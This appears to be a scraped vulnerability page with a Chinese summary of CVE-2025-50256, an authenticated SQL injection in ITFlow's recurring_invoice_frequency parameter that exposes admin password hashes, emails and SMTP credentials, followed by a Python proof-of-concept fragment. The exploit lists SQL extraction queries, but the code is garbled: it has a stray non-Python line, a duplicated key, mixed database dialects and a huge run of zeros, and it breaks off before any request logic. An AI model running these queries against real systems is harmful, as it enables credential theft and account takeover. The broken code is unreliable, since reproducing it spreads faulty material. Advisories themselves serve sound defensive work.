CVE-2025-50256: Authenticated SQLi in ITFlow recurring_invoice_frequency

漏洞关键信息总结 漏洞概述 标题：Authenticated SQL Injection via Parameter Enables Full Database Exfiltration 类型：SQL 注入（Authenticated） 影响组件： （ 参数） 严重度：High（CVSS 9.1 / 10） 受影响版本：< 26.05 已修复版本：None（截至发布时） CVE ID：CVE-2025-50256 描述：任何拥有 Technician 权限的认证用户，可通过 参数注入 SQL，从而读取管理员密码哈希、用户邮箱、数据库名等敏感数据。 影响范围 受影响包： （Composer 组件） 受影响版本：< 26.05 影响： - 管理员接管：可离线破解并接管 Admin 用户 - 全量数据外泄：可枚举并导出所有客户端用户密码哈希 - 邮件外泄：可读取所有客户端的 SMTP 凭据，进行钓鱼与恶意邮件侦察 - 系统接管：可获取 MySQL 版本与目标子域名的详细信息 修复方案 页面显示 Fixed versions: None，即截至该公告发布时尚未发布修复版本。 建议缓解措施： - 升级至包含修复的版本（待发布） - 临时缓解：限制 Technician 权限、对 参数做白名单校验、使用参数化查询/转义 POC / 利用代码 ```python #!/usr/bin/python3 import sys import re import argparse import requests BANNER = """ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ """ SQL = "recurring_invoice_frequency" Auth: Technician = accessible invoice by itflow.com TARGETS = { "administrator": ["SELECT user_password FROM users LIMIT 1"], "adminemail": ["SELECT user_email FROM users LIMIT 1"], "database": ["SELECT current_database()"], "mysqlver": ["SELECT version()"], "dbuser": ["SELECT USER()"], "dbhost": ["SELECT @@hostname"], "database": ["SELECT DATABASE()"], } USER_TYPE = [1, "Agent", 2, "Client"] PREFIX = "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Goal Reached Thanks to every supporter — we hit 100%!

CVE-2025-50256: Authenticated SQLi in ITFlow recurring_invoice_frequency

More from this source